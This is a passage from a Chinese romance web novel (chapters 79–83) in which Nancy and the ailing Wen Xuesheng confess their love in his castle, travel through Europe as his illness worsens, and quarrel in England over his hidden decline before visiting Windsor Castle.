在触碰到他那一刹那,想把他拉到自己怀里,让整个身体接住他。但她忍住了,只是稳稳地托着他,使他不至于摔倒。 “怎么?吓着了?”她眯眼笑着问,声音很轻,手还抓着他的胳膊。 温雪生低头看了一眼,没去甩开,只是淡淡地回:“没有……你怎么又来了?” “来看你呀。”南希不假思索。 温雪生把视线转向别处,不再说话。 他的侧脸在夜视镜里泛着淡淡的绿光,下颌线绷得很紧。 南希忍不住靠他近了些,但又不敢太近,怕把他吓跑。 她看向身前的温四遗像,犹豫了一会儿,似乎在掂量该不该提这个话题:“嗯……那个……你不是说,讨厌他吗?不是说……不想给他办追悼会吗?唉,你身体不好,这大半夜的,不在房间里休息,在这……做什么?” 温雪生也看向那张照片。 可能是因为周围太黑,环境又密闭,他身上的刺和防备,仿佛减轻了许多。 他喃喃道:“是啊……我是不喜欢他……” 话停在了这里,像一段没放完的磁带。 “可是?”南希轻声接上。 温雪生却没接话,他的脸上出现了一种极其矛盾的复杂神情。 南希试探着,放低了声音,几乎是用气声说:“可是,在你心里,其实还认他是你爸,对吗?” 温雪生的喉结滚动了一下。 “这没什么不好意思的。”南希舔了舔上唇,继续说,“血缘这东西,就像你身上的胎记,你可以讨厌它,可以想方设法盖住它,但它就在那儿,不增不减,而且这种感情……怎么说呢,纯粹又复杂,说不清道不明,但每个人都逃不过。” 她顿了顿,想起昨天的事:“昨天,在你晕倒的那段时间,张笑远跟我聊了聊你爸。他说了一些事,一些温四为你做的事……让我挺震撼的…… “我呢,以前的记忆找不到了,所以我不记得自己的爸爸妈妈,也没感受过什么父爱母爱,看到别人家父母孩子吵架也好,亲近也好,我都觉得像隔着一层毛玻璃似的,看不懂,也弄不明白。但是,如果真有那么一个人,哪怕他的方式不对,哪怕他做了很多错事,可他在我不知道的地方,为我付出了,我心里,大概也是会有点触动的吧……” 温雪攥紧了拳头,没等她说完,就拔高了声音:“触动?!可谁让他这么做的?谁让他为我牺牲了?谁让他就这么死了?!他有问过我的意思吗?!” 他转过身,面对南希,眼睛发红,“他这种人就该去坐牢!他以为他这是什么?伟大的父爱?!能让我感动得痛哭流涕,然后原谅他的一切吗?!可笑! “在我看来,他这就是自以为是,是在肆意支配和玩弄我的人生!我一点都不稀罕!不稀罕他的安排,不稀罕他留下的钱,也不稀罕他的牺牲!” 南希看见温雪生眼里,再次闪烁起湿润的光。 然后,他缓缓低下了头,咬牙切齿地说:“所以,不管怎么样,我是不会原谅他的,永远,永远都不会!” 南希记得昨天张笑远还说,温雪生在得知温四的事情后,情绪没有任何起伏,看起来十分平静。 可是现在,他哪儿还有平静的样子? 南希看着这样的他,一种难以言说疼痛在心里蔓延开来,让她连呼吸都有些困难。 她好想去抱抱他,把他的头按在自己肩膀上,告诉他“哭出来就好了”,但她还没伸出手,温雪生竟自己靠过来了。 一只耷拉着的脑袋,轻轻地抵上了她的肩膀。 温暖的湿润便在肩头洇开了。 南希再也控制不住,上前一步,坚定地环住了他。 她懂,血浓于水。 这话俗气,可很多时候,偏偏就是这俗气的道理,最是锋利,也最是无奈。 南希没再说什么,轻轻拍着温雪生的后背,一下,两下,三下…… 城堡外传来风声,呜咽着穿过塔楼。 不知过了多久,温雪生终于冷静下来,沙哑的嗓音贴着南希的耳边响起:“谢谢……还有,我好像,还欠你一个故事。” 南希的手滞了一下。 “那天在李家村,你问我跟欢大夫都说了什么,我好像一直没来得及告诉你。” 第80章 相拥 然后,温雪生把那晚在李家村小诊所给欢丫头讲的故事,又原原本本地给南希讲了一遍。只不过这一次,他讲得更慢,更细,不再像在转述别人的故事。 他的声音时而低哑,时而紧绷,说到某些地方,会不自觉地停顿,仿佛需要攒足力气才能跨过记忆里的那道坎似的。 南希静静地听着,环在他身侧的手,不自觉地揪紧了他后背的衣服,但是她没有说什么,也没有流露出任何不敢置信的表情,因为这个故事,她早已知道。 来这儿之前,她翻看过温雪生的那本日记。 本子被水浸得透透的,软塌塌的,页角都黏连在一起。 她怕它烂掉、霉掉,只得一页页小心地掀开,晾在窗台通风的地方。 就是在那时,她不小心看到了那本日记的内容。 蓝黑墨水的字迹被水洇得一团一团,很多地方已经模糊难辨,但断断续续的语句,拼拼凑凑,竟也连成了一个完整得让人心惊的故事。 不过,她仍是没打算看的,可说来也怪,刚翻开那本子,那些朦胧的字迹就好像自己生了脚,争先恐后地往她眼睛里钻,往她脑海里跑。更让她脊背发凉的是,这日记里的故事读起来竟然一点都不陌生,甚至还带着一股诡异的熟悉感,仿佛那不是她第一次读到这个故事,而是……她本来就知道。 她当时心里就毛了一下,手忙脚乱地想合上本子,可手指碰到封皮的瞬间,竟鬼使神差地,又猛地把它打开了。 眼睛瞪得老大,她死死盯住页脚的日期—— 1983年。 1983年?! 那一年,温雪生才七岁! 一个小男孩写日记记录自己的生活,这本身没什么可惊讶的,但南希的两条胳膊,“唰”地起了一层密密麻麻的鸡皮疙瘩。 不对劲的地方不在这儿,而在于,一个七岁的孩子,真得能写出如此条理清晰、细节具体的日记吗? 退一步讲,先不论七岁的孩子有没有这样的叙事能力,也不论这本子的纸质是否真能历经这么些年头,单就那纸上的字,那根本就不是一个小孩子的笔迹! 笔画舒展,结构稳当,甚至还有一点熟练的连笔,那是只有经过多年书写才能练就的、成年人的字! 南希拍抚温雪生后背的手,微不可察地停顿了半拍,随即又规律地落了下去。 她这次深夜跑来温沙城堡,的确有一点原因,是来自她对那本日记的怀疑,但真正驱使她来的,更多的是温雪生的童年故事给她带来的心疼。 所以,她想来看看他,想来看看他好不好。 而且在来之前,她就告诉自己,这一趟什么都不问。 每个人都有自己的秘密,有些秘密太沉重,说出来就是第二次伤害,她要把日记本的事埋在心底,除非有一天,温雪生自己愿意说。 而现在,他主动说了,虽然只有一部分。 温雪生亲手撕开了自己的伤疤,把日记里的故事摊在了她的面前。 说完之后,他好像耗尽了所有气力,额头抵着她的肩膀,久久没有动弹。 过了好一会儿,他才像终于缓过一口气,直起身,向后退开一小步,侧过脸去。 而刚刚流露出的脆弱仿佛只是幻觉似的,他又变回了那副冰冷的模样,只是嗓音有一点沙哑:“好了,我欠你的故事……都已经讲了……” 他顿了顿,后面的话像被什么堵着,欲言又止。 南希抬手摘下了夜视镜。 镜片里那种非自然的视野,让她不太舒服,也让她看不清真实的他。 没了夜视镜,眼前顿时陷入浓浓的黑暗。 温雪生站在她面前,就是一个黑糊糊的影子。 “所以?”她看着他,歪了歪脑袋,“你还想说什么?” 温雪生沉默了几秒,声音硬邦邦地砸过来:“所以,你可以走了。我说过,我不想再见到你。” 南希其实早就料到他会这么说,可是这会儿亲耳听到,一股火气还是“噌”地窜上了心头。 她双手叉腰:“哈!小生生,没想到你还真是这种人,过河拆桥呢?刚刚是谁趴我肩膀上哭哭啼啼求安慰的?” 温雪生的脸很快红了,幸好这浓稠的夜色掩护了他。 他的语气明显虚了下去,强撑着架势:“不要胡说!你要是再不走,我就喊人……” 后面的话没能说完。 因为南希亲了他。 动作快得连她自己都感到意外。她只是觉得,不能让那些伤人的话从他嘴里说出来,一旦说出来,就收不回去了,所以她迅速踮起脚尖,在黑暗中准确地找到了他的唇。 温雪生僵在原地。 有那么一两秒钟,他一动不动,像尊石雕。 南希能感觉到他唇上的凉意,还有微微的颤抖,她在心里数着:一、二—— 第三秒,他妥协了。 这个吻从一开始的僵硬迅速变得滚烫。 所有决绝的念头、冰冷的理智顿时被冲得七零八落,温雪生再也控制不住,手臂猛地收紧,把南希整个人搂进怀里,紧得她几乎喘不过气。 黑暗之中,两人亲密相拥,唇齿交缠。 渐渐的,周围的一切都安静下去,只剩下彼此越来越重的呼气,热热地扑在对方脸上。 不知过了多久,南希的手从温雪生背上滑了下来去。 温雪生浑身一颤,下意识地想躲。 “别动。”南希含糊地说,手继续往下探。 然后,她在对方的战栗中结束了这个吻,与他稍稍拉开一点缝隙,但手还停在他身上。 “我觉得,你没有你说的那么不堪呢……”她的声音有点喘,但很认真,“我喜欢的也都在,我记得我说过,男人有两套系统……” 说到这,她竟顿了一下,然后用力把温雪生推远了:“不过,咱们这样确实会激动,会耗费体力……我不想让你再晕过去了……” 温雪生正沉浸在一种混合着羞赧与亢奋的眩晕里,被猝不及防地这么推开,身体竟然下意识地往前倾了倾,想要继续索求刚刚那份温暖。 这近乎本能的反应让他大吃一惊,慌忙僵住身子,硬生生刹住了自己的冲动。 可是,一股从未有过的,强烈的不甘和渴望登时涌遍了全身,他感到身体的每一个细胞,似乎都在叫嚣。 他紧紧攥住拳头,隐忍地说:“你说得对,的确是……你也看到了,我们确实不该再在一起……” “不。”南希打断了他,声音清晰而坚定,“我们可以!小生生,你能不能别把我想得那么不堪?关于这个问题,我回去后仔细琢磨过。我承认,昨天刚听你说那些的时候,我心里……是‘咯噔’了那么一下,我对不能和你那个……有那么一点儿失望和犹豫,当时连我自己都怀疑,是不是就因为那种事,我才被你吸引。可现在,我想明白了,应该说,我很快就想明白了,现在我可以负责任的告诉你,对我而言,就算我们之间不再有那种事了,我也愿意和你在一起。” 温雪生彻底怔住了。 黑暗中,有一缕极淡的月光,从不知哪里的缝隙偷偷漏了进来,勉强勾勒出两人相对的轮廓。 温雪生看见南希隐约的脸部线条,还有那双格外明亮的眼睛。 此时此刻,南希的瞳仁里好似盛着满天星辰,亮晶晶的,比以往任何时候都要闪烁。 她也看着温雪生,然后有些自嘲地哼了一声:“虽然我一点都不想承认,而且这种话,我也从没对任何人说过,因为真的好害臊,好难说出口啊……但是,小生生,我现在就要告诉你……” 温雪生心里怦怦直跳,越听越慌,赶紧截住她的话头:“那就不要说!”他吸了口气,喉结滚动了一下,“这种事……不管是在小说里,还是在电视剧里,都不该是你们女孩先说的,应该我来说,我,我……” 他闭上眼睛,鼓足全身的勇气,正准备开口—— “我喜欢你。” 一个清甜的,带着笑意的声音,轻轻钻进他的耳朵,然后像一勺温热的蜜,浇在了他心尖上。 他猛地睁开双眼。 不知是不是错觉,就在这一刹那,他竟然清楚地看见了南希的模样。 她在笑,嘴角弯弯的,眼睛也弯弯的,笑容干净、纯粹,没有一点杂质,像阳光下舒展的太阳花。 “小生生,我喜欢你,我想和你在一起,因为是你,只是你,而不是因为别的什么。长这么大,至少在我所有的记忆里,只有你,能让我这么喜欢。” 温雪生觉得视线瞬间模糊了,眼眶又热又胀,他听见自己干涩的声音: “我也是,我也喜欢你,南希。很喜欢,很喜欢。” 南希笑出了声,继续与他对视,语气里多出了一丝小心翼翼的期待:“那么,我可以不走了吗?” 月光静静地流淌在他们之间。 温雪生没有立刻回答,他重新抬起手臂,动作缓慢而坚定,再次将南希拥入怀中。 这一次,没有颤抖,没有僵硬,只有紧密的温柔和爱意。《 》 80-84 第81章 希希 南希的耳朵贴在温雪生胸口上。 她听到他的心跳,一下,两下,杂乱而用力,但渐渐的,那力道缓了,节奏也匀了,像是暴风雨过后的海面,终于回归了平静。 她闭着眼想,这颗心,估计悬了好多日子吧,现在,他总算可以安心了…… 但她自己却没法安心。 她心里压着两件沉甸甸的事: 一件是温雪生的眼睛。她在心里发过誓,如果从光源大厦跳下去还能活着,那么她就去组织总部,把蓝宝石给顺回来。 至于另一件事……跟最近的怪事有关,她还不敢深想。 南希微微仰起脸。 虽然视线不清楚,但她还是抬手顺着温雪生的肩膀往上摸去。 指尖划过他脖颈的线条,触到他的瘦削的脸颊,最终碰上那个冰冷的眼罩。 然后,她的手被捉住了。 温雪生的手掌盖了上去,把她的手指从眼罩上轻轻掰开,拉下来,按在自己心口。 “我感觉你有心事。”他说,声音低低的。 南希心里一抽,赶紧摇头:“又瞎想,哪有啊。”她尽力让语调轻快些,“怎么?我摸摸你都不行了?” 温雪生没立刻接话。 黑暗里,他似乎极轻地笑了一下。 “你刚刚都叹气了。” 南希怔住。 她叹气了吗? 她竟然一点儿都没感觉到…… 看来,她是真的愁,愁到连叹气都成了无意识的动作。 “我猜,”温雪生接着说,“你的心事,和我的眼睛有关。” 南希垂下眼,额头抵着他。 她又叹了一口气,声音沉重且绵长。她不想再装了,因为装也没用,这男人太了解她。 “是。”她故意用埋怨的语气回,“你把眼睛里的蓝宝石挖给我,让我留下了心理阴影。” “怪我?”温雪生问。 “对,怪你。” 可南希的埋怨软绵绵的,并没有没多少力气,“全怪你,怪你擅自做主……” 说到最后,声音几乎听不见了,然后她静了片刻,才又开口,像是下定了决心:“其实,昨天想明白跟你的事后,我查了卢院长的电话,然后拨给了他。他跟我说了那颗蓝宝石对你的重要性,他说那是压制你身体毒素的关键,我……” “原来是这样。”温雪生打断她,语调却变了,“好,等天亮了,我也给卢院长拨个电话,我要告诉他,以后他不用去卢氏上班了。” “喂!小生生!”南希忙从他怀里挣开,声音急了,“这跟他没关系!是我逼问他的!” 温雪生站着没动,月光照在他右边脸上,让那完美的侧脸轮廓显得格外冷硬:“他应该能想到,把这些事告诉你的后果。” “后果?”南希重复了一遍,也变了语调,“小生生,我想,你也应该能想到,你隐瞒我这些事的后果。” 大厅里安静了下去。 远处传来钟摆的嘀嗒声,温雪生沉默了好一会儿,终究是败下阵来。 他一向拿她没办法。 “并不是我想瞒你,”他轻声说,“而是已经不重要了……后来我了解到,蓝宝石压制毒素的原理,是将毒素吸收,然后平均分布到全身,这样,我的身体虽然会一直虚弱,但至少不会因某处毒素堆积太多立刻死掉。所以这些年,为了活着,我一直苟延残喘,过得人不人鬼不鬼,我一点都不开心,真的,有时候我宁愿死了算了……” 他顿了顿,手指找到南希的手,轻轻握住,“后来,你出现了,蓝宝石没了,我的脸反倒慢慢恢复了正常的样子,这让我重新觉得,自己还是个人,也让我感觉到了很久、很久都没有的快乐。所以,对我来说,蓝宝石在不在已经没关系了。” “有关系。”南希执拗地说,反手抓紧他的手,“卢院长说了,虽然你身体里的毒素暂时没有泛滥,但隐患很大,就像你身体里有颗定时炸弹,随时可能爆炸。” 她想起张叔,想起那条一旦踏上就会陷入循环的路,想起前方堆积如山的麻烦…… 念头虽然纷杂,但她的心却清晰:“总之,蓝宝石是因为我没的,我一定会想办法把它重新带回来。” 温雪生看着她,眼神复杂,他知道南希这是在关心他,心里忽地涌起一阵暖意。 他不想再争执下去了,这些事,以后可以慢慢说。 “好。”他顺从地应声,随即,故意压低了嗓子,重重地咳了一下,仿佛气力不支似地转了话题:“那个……我,快撑不住了……我身体不好,本来……咳……本来刚刚就要回房了,可因为你在这儿,所以又站了这么久……”话音未落,他整个人的重量便毫无预兆地朝南希压了过去,真真一副虚弱到极点,随时要晕厥的模样。 温雪生身子弱,南希是知道的。 现在他这副模样虽来得突然,但南希没有怀疑,毕竟他是个在上床时都能突然晕倒的病秧子。 南希连忙用肩膀顶住他下滑的身体,手忙脚乱地揽住他的腰。 “你,你怎么又来啊……我这就带你回房间!” 她咬咬牙,几乎半扛着他,一步一步往楼梯挪。 温雪生“戏”做得很足,脚步虚浮踉跄,身体东倒西歪,不可避免地撞到墙壁,踢到楼梯,在寂静的深夜里弄出一连串“咣咣当当”的动静。 这动静惊动了王姐。 作为温沙城堡的现任管事,王姐住的房间离楼梯最近。再加上现在是特殊时期,她本来就内心敏感,睡不安稳,听到声响后,吓得一个激灵从床上弹起,披着件睡袍,趿拉着拖鞋就冲出了门。 “谁啊?!谁在那啊?!” 走廊灯光昏暗,王姐看得并不清楚。 只隐隐瞧见少爷的房门敞着,而房门前站着俩人。 再仔细一瞅,那其中一人不就是少爷嘛!他几乎整个身子都挂在一个纤细的女孩身上。 那女孩闻声回过头,脸上不见丝毫慌张,反倒有种松弛的,甚至像是这个家的女主人才会有的那种神态。 她随意地摆了摆手,说:“啊,是王姐啊,没事没事,小生生有我呢,你快回去歇着吧。” 然而,这句话的尾音还飘在空气里,少爷的房门就“嘭”的一声合上了,把那对连体婴似的背影关在了门后。 王姐一个人愣在原地,手指紧紧攥着睡袍的领子。 怎么回事?昨天少爷不还要跟这丫头断绝关系吗? 一时间,她心里啥感觉都有了,嘴巴张了又合,合了又张,最终什么声也没发出,只是耷拉着脑袋,拖着步子回自己房间去了。 门后面,南希费力把温雪生扶到床边坐下,想去给他倒杯热水,手腕却一下子被他攥住。 “别走。” 南希瞥了他一眼,略感无奈。 虽然她一开始没察觉到什么,可是经历了刚刚这一路,她那向来敏锐的第六感就隐隐觉得不太对劲了。 温雪生好像哪里变了,竟浑身透着一股无赖气息。 果然,眼前的男人抬起了头,哪还有半分病弱模样,他右眼闪亮,面色红润,甚至还无赖地腆着脸问:“我以后,能叫你小希吗?” 南希一愣。 “小希”…… 一听到这个名字,她就会想到张叔那个奇怪的老男人。 瘆得慌。 她摇了摇头,干脆地回绝:“不行。” 温雪生眼里的光黯了一瞬。 南希便快速补了一句:“不过,你可以叫我……嗯……希希。” 那光又亮了。 温雪生立马回:“好。”然后他认真念了一遍,“希,希。” 希希…… 还挺好听的。 长这么大,从来没有人这样叫过她,南希心里美,嘴角忍不住上扬。 这时,温雪生话锋一转:“希希,刚刚我答应你,你可以去找蓝宝石,那么,你是不是也该答应我一件事?” 南希收起笑意,狐疑地打量他,没立刻跳进坑里:“那你得先说什么事。” 温雪生表现得有些失落:“我还以为,你会毫不犹豫地答应我。” 南希“嗯”了一声,拖长了调子,眼睛转了转,故意说:“也是,要是换做以前,我面对我那些前男友们时,肯定就毫不犹豫地答应了。” “你……”温雪生一口气堵在胸口,有一种自己给自己找气受的感觉,可突然间,他品出了这句话里更深的那层意思:你跟我以前那些男朋友们不一样,我对你是认真的,答应你的事就要做到,所以才不会像过去那样,轻飘飘地许下不负责任的承诺。 想到这里,温雪生脸上的线条柔和了下来,一抹红晕悄悄爬上了他的脸庞。 他眼神闪躲着避开南希的目光,继续刚才的话题:“希希,我想让你陪我去外面的世界看看,如果可能的话,陪我去欧洲看看。” 这回轮到南希懵了。 她千想万想,也没想到,温雪生想让她做的,会是这么一件事。 喉咙里下意识吐出一个茫然的“啊?”。 温雪生笑笑。 “你知道,温四为什么会给我建这座温沙城堡吗?”他自问自答,“我从小识字早,喜欢听故事,也喜欢读书,我从五岁起,就开始读世界名著了。那时候,我读到书里描写的欧洲城堡,非常喜欢,就总缠着爸爸妈妈,还有哥哥,要他们带我去看看真正的城堡。后来,妈妈和哥哥走了……这个愿望,就再也没法实现了。 “温四,也许是心里对我有那么一点愧疚,也许,只是想造个精致的笼子,更好地把我关起来。所以,他照着书里的样子,建了这座温沙城堡,只是这城堡的样子假,名字起得也假,我打内心厌恶。至于温四,我的父亲,他在我心里,不管事业做得多大,都还是那个混街头,没文化的流氓。” 温雪生注视着南希:“不过,那都是过去的事了,也不重要了。而现在……”他伸出手,再次轻轻握住她的手,握得很稳,“现在,我有了你,我想让你和我一起去欧洲,实现这个曾经的愿望。希希,你愿意,陪我去吗?” 第82章 旅行 南希已经连着跑了三天办事大厅。 她坐在签证窗口前,看着工作人员往她那本深红色护照上盖章,钢印“咔嚓”一声压下去,她的心终于得以舒畅。 她把护照收进剑桥包里,轻快地跑出办事大厅。 春日的阳光正好,暖洋洋地洒下来,她眯起眼睛,伸了一个大大的懒腰。 自从答应温雪生陪他去欧洲后,她就隐隐觉得有些不安,可这不安毫无来由,她只能归结为自己的生活节奏太快了。 不过,她在心里复盘了无数次那晚的情景,知道就算再回去重来一遍,她也只能顺着他。当时温雪生的模样她看得清清楚楚,要是她撑着不答应,他明显就要耍无赖了。 没办法,谁让人家是大少爷。 关于这趟欧洲之旅,温雪生话里话外都透露着,他们得去很久很久。 出远门,还是长时间的远门,南希觉得,自己怎么也得先把家里的摊子收拾利落。 所以这段时间,她的每一分钟都被安排得满满当当。 她找刘总帮忙给组织传真了一份休假申请。 蓝宝石还没到手,她跟组织关系得留着,还没到隐退的时候,等她回来就重新开工。 她还去了开运全羊馆,主要是为了跟张笑远道歉。她把组织和温雪生的情况摊开讲明了,说自己眼下还不能加入“破晓”,至于以后?得看心情。 学校那边,她递了休学半年的申请。辅导员推推眼镜,问她原因。 她眼皮都没抬,脱口就说:“我要回老家结婚。” 最麻烦的是刘总的地产公司,毕竟她之前承诺要帮他、给他打工,况且,等她以后离开了组织,接下来的人生,说不定还真得仰仗着刘总呢。就是办公司这事难度系数太高,千头万绪的,什么营业执照、办公室选址、第一批员工的招聘……各种事务繁琐复杂,南希跟着连轴转了将近二十天,才算勉强搭起一个公司的架子。 等这些都料理明白了,已经是一个月后。 临出发前一晚,南希蹲在客厅地板上收拾行李。 电视开着,本地新闻台正在直播曾经轰动一时的王有才案的庭审。 屏幕里,那些曾躲在阴影里的姑娘们,正光明正大地站在证人席上,勇敢地指认罪犯。 南希感慨万千。 王颖、花姐她们历经磨难,终于迎来了属于自己的新季节。 这样想着,她手里的夹克忘了叠,眼睛看着电视,又瞅瞅摊开的行李箱,心里忽地涌起一阵模糊的憧憬。 她的新季节,是不是也要开始了? 这个念头让她几乎彻夜未眠。 第二天清晨,她肿着大眼泡,挂着黑眼圈出了门。 来接她的大奔早就停在了楼下。 她打着哈欠拉开车门,温雪生已经坐在里面,一身剪裁利落的黑色大衣,给他添了几分世家少爷的贵气,衬得那张爬满藏青纹路的脸都精神了不少。 只不过,他眼睛底下也有青黑色,跟南希的一模一样。 两人对视半秒,同时愣住,又同时迅速扭开头,望向各自的窗外,然后谁都没再开口说话。 少爷沉默,副驾上的王姐便也只能沉默,司机更是一声不敢吭,把车开得平平稳稳。 他们就这样一路到了机场。 下车时,王姐终于憋不住了,带着哭腔拽着南希的胳膊,絮絮叨叨的全是“照顾好少爷”、“少爷的胃娇气”、“要是瘦了病了可怎么好”…… 南希嗯嗯啊啊地应付着。 温雪生听烦了,冷冷插了一句:“再说一个字,你就自己打的回去。” 王姐瞬间捂住嘴,收了声。 她晓得少爷的脾气,这话绝不是吓唬她,可她心里终究堵得慌,趁着温雪生换登机牌的工夫,又一把将南希拉到柱子后,压着嗓子说:“你知道少爷的身子,可千万别由着他,尤其是……那个。” 南希一歪脑袋,眼里闪着明知故问的光:“嗯?哪个?” 王姐气得一噎,瞪她一眼,终是无可奈何,最终跟司机一块儿,愤愤离开。 不远处的温雪生回头找南希时,恰好瞥见了这一幕,嘴角下意识向上弯了弯。 * 这趟欧洲之行果然十分漫长。 南希和温雪生在意大利下飞机,悠闲地漫步罗马,待了十多天,然后去了威尼斯、米兰、西西里……又从西西里飞往法国马赛,然后一路北上,穿过普罗旺斯的薰衣草田,经过巴黎的繁华,踏入比利时静谧的古城,再转去荷兰看风车跟运河。 阿姆斯特丹的郁金香还没看够,便又启程去了德国,柏林、慕尼黑、汉堡、科隆…… 或许是旅途太过奔波劳累,行程过半时,温雪生的身体状况就开始慢慢不受控制了。 藏青色纹路在他的脸上、衣领下、手腕间日益蔓延,他常常感到疲惫,却又总是在南希看过来时挺直身子,笑着说“没事”。 可他越是逞强,南希越是不放心,私下里改变了行程的节奏,陪温雪生玩一天,歇一天,后来变成玩半天,歇半天,当他们抵达英国时,秋风已起,距离出发,竟然已经过了四个多月。 要不是温莎城堡在行程单终点的位置上闪着光,南希早就想劝他回国了。 那可是温雪生从小的心愿,也是支撑南希把这漫长旅程走完的最后一点念想。 既然都到了欧洲,怎么能不见见,真正的温莎城堡? 然而,就在计划前往温莎城堡的前一晚,温雪生突然发起了高烧,他的体温一度飙升到了四十度,整个身体烧得通红。 南希心急如焚,用磕绊的英语打电话叫来家庭医生。 医生给温雪生做了冷敷,打了针,南希搬了椅子,全程坐在床边陪他。 后来,医生离开了,可南希还坐在那,从天黑到天亮,她几乎没挪动过。 她的影子被床头灯拉长,投在墙壁上,然后又被强烈的太阳光改变了方向。 而她坐在那想了什么,没有人知道。 第二天中午,温雪生的体温终于退下,悠悠地睁开了眼。 枕边空空,房间里一片寂静。 “希希?”他下意识,哑着嗓子叫出声。 却没人回应。 他心头一慌,又急急喊了一声:“希希?!” 最近,他的身体频繁出状况,他不是没察觉到南希笑容下的沉重,那强撑的欢快就跟薄玻璃似的,稍稍用力一碰,就会碎掉…… 危机感登时泛滥成灾,他再顾不得别的,忙掀开被子就要下床。 双脚触地时,小腿一阵虚软,差点栽倒。 就在这时,门开了。 南希拎着一个鼓囊囊的纸袋走进来。 她看到温雪生摇摇晃晃身影,一步并两步上前扶住了他,眉头拧成了麻花:“喂,小生生,你干嘛呢?!” 温雪生咽了口唾沫,视线躲闪地落在她手里的袋子上:“我……饿了,找吃的。” 南希抿抿嘴,没再多说,走到桌边,把袋子里的牛奶、面包、火腿、鸡蛋……一样样拿出、摆开,然后一边整理食物,一边说:“就算找吃的,也不用这么急啊……哦,对了,我刚出去买吃的的时候,顺便把回国的机票订了,今天晚上的。” 温雪生刚落回胸腔的心,突然又被提起,视线“唰”地投向南希的背影。 南希继续摆弄着食物,背对着他说:“唉,我累了,不想去看温莎城堡了,以前上高中时,老师好像说过,人生的遗憾也是一种美好……就像‘月缺也是画’,诶,是这么说的吧?” 温雪生似乎没听到这最后一句,他感觉心跳在“怦怦”加速,双手下意识攥紧了被单,声音低了下去,用一种近乎乞求的语气说:“可是……都到这儿了,马上就能看到了……希希,这是我从小到大的念想,就差一步……我不想留下这个遗憾。” 南希手上的动作停了。 她缓缓转过身,眼眶竟是红的,手里紧紧握着一根长长的法棍面包,指节用力到发白。 “不留遗憾?”她声音不稳,“你想那么圆满做什么?” “咔”的一声脆响,那根坚硬的法棍,竟被她生生攥成了两截。 温雪生像是被那声响惊到了,睫毛一颤,垂下目光,不敢再看她。 南希深深地吸了一口气,又缓缓吐出,然后,她从随身的剑桥包里,掏出一本陈旧的牛皮笔记本,轻轻放到桌上。 “小生生,你的这本日记,我看过了。” 温雪生闻声,立马又抬起头,瞪得滚圆的眼睛里,闪过三分惊讶,七分,惊恐。 对于这个表情,南希早已猜到,她自嘲般浅浅一笑,说:“别紧张,我只看了一页,还是不小心、被迫看到的。那一页记录的是你小时候的事,你都给我讲过了。” 温雪生并没有因为这句话感到放松,他眉心紧皱,双唇紧闭,一言不发。他意识到南希在试探他,这种情况下,哪怕说出一个字,都可能会出错。 南希向前走了一步,居高临下,可是她身上散发的气息没有一点压迫感,反而透着无尽的痛苦。 “温雪生,你还没回答我,你想那么圆满做什么?”她又逼近一步,“在我无意中看到你的日记时,我就隐隐觉得你有问题,有事瞒着我,可我想不明白,那到底是什么问题,你到底有什么事瞒着我。昨天,我趁着你趁发烧昏睡,苦苦琢磨了一晚上,终于琢磨透了那么一点儿,你突然让我陪你来欧洲,不仅仅是想实现自己的念想那么简单吧?” 温雪生终于忍不住:“我……” “你先别说话!”南希厉声打断他,继续说道,“你该是早就发现自己的身体快要垮了,要是再不动身,很有可能就再也动不了身了。温雪生,”她咬牙切齿,“我猜得,没错吧?” 第83章 再见 温雪生没有回答,垂着脑袋,算是默认。 他总是这样,一遇到复杂的问题,便会装哑巴。 以前,南希觉得他这模样可爱,让人心痒痒,可现在,她只觉得累,她没法继续忍受,三步逼到了他跟前。 温雪生一颤,抬起了头,长刘海滑到两侧,露出了他脆弱的右眼。 他看着南希悲愤的面孔,沉沉地应了声:“是。” 竟然,就这么简简单单的回答了,承认了…… 南希无言以对。 而温雪生的话还在继续:“所以,希希,你看,你看我都这样了,狼狈又脆弱,你能不能,帮我实现最后的心愿呢?” 南希怔住了,像被人迎面按进冰水里,呼吸都停了一刹。 如果说刚刚,她的心在被刀子慢慢划着,那么现在,那把刀直接捅穿了她的心脏,并且窜出来的不是血,而是滚烫的怒意。 她怎么也想不到,温雪生会在这种时候,用这副口气,说出这些话。他难道不该忏悔,不该道歉,不该自责吗?! 南希在感情里,一向不是什么好人,她对待那些前男友们,就像对待衣柜里的衣服,兴致来了便穿上身,腻了厌了,随手就扔,连句像样的告别都懒得给。她知道自己伤过好多人,心里那点真情早被自己作践薄了,也就觉着没资格去求什么一心一意、白首不离。美好的感情?她曾打心底里认为,这词儿跟自己压毫不沾边。 可是现在,她的心口真疼啊,疼得发紧,一阵阵抽着,比过去在任务里受的所有伤加起来都要疼。 因为,即便无情如她,也清清楚楚地知道,如果自己的寿命眼见着要熬干了,她绝不会,死也不会,为了圆自己一个梦,就去真情实意地招惹谁;她也绝不会把一个好好的、无辜的人拖进这滩浑水,让人家陪着自己伤心,跟着自己一块碎掉。 太自私了。 温雪生,真是个自私的混蛋! 南希垂下眼睛,目光直直地钉在温雪生脸上。 她的眼睛瞪得极大,红血丝狰狞地缠上去,像是要滴下血来似的。她想破口大骂,想揪起温雪生的领子,把拳头狠狠砸在他那张鬼脸上。凭她的身手,他哪儿有半点回手的余地?只怕一两秒,这个病弱的男人就会像摊烂泥一样,被她拍在地上。 这样想着,她的胳膊绷得像铁,拳头已经在身侧攥得死紧,可是……可是她怎么都挥不出去,骂人的话也堵在喉咙里,怎么都脱不了口。 毕竟……毕竟,他都已经这样了…… 眼前的温雪生,跟开春的残雪一样,薄薄地覆在地上,不用她动一根手指,风一吹,光一照,自己便会悄无声息地化掉。 南希沉默了好一会儿,然后,嘴角扯动了几下,竟挤出了一个笑。 她笑着说:“好。” * 初秋的天气不错,天很高,风很凉爽,空气里还泛着泰晤士河的水汽。 这个时代的温莎城堡,还没有那么多游客。 城堡前,游客三三两两地走着,大多是白人面孔。 其中有一对男女格外扎眼,他们一看就是亚洲人,黑头发,黑眼睛,黄皮肤,不对,那男人的皮肤是种怪异的藏青色,他脸上似乎带着个很大的黑色眼罩,还有,他的刘海很长,自然地垂落着,几乎盖住了他整张脸,不过有风掠过的时候,依然能瞧见那刘海下的可怖面容。 然而,最引人注目的还不是他的脸,而是他的体态。他个子很高,骨架却支棱着,身上没有太多肉。他整个人都趴在身边的女人肩上,气喘吁吁,脚下踉跄,每一步的挪动都像是要耗尽全身力气似的,任谁见了,心头都会咯噔一下,觉得这人怕是病入膏肓了。 而那驮着他的女人,显然已费了很久的力气,她头上的碎发已经被汗水打湿,一缕一缕黏在脸上;她的嘴唇抿得发白,眉眼间尽是强撑的疲惫。 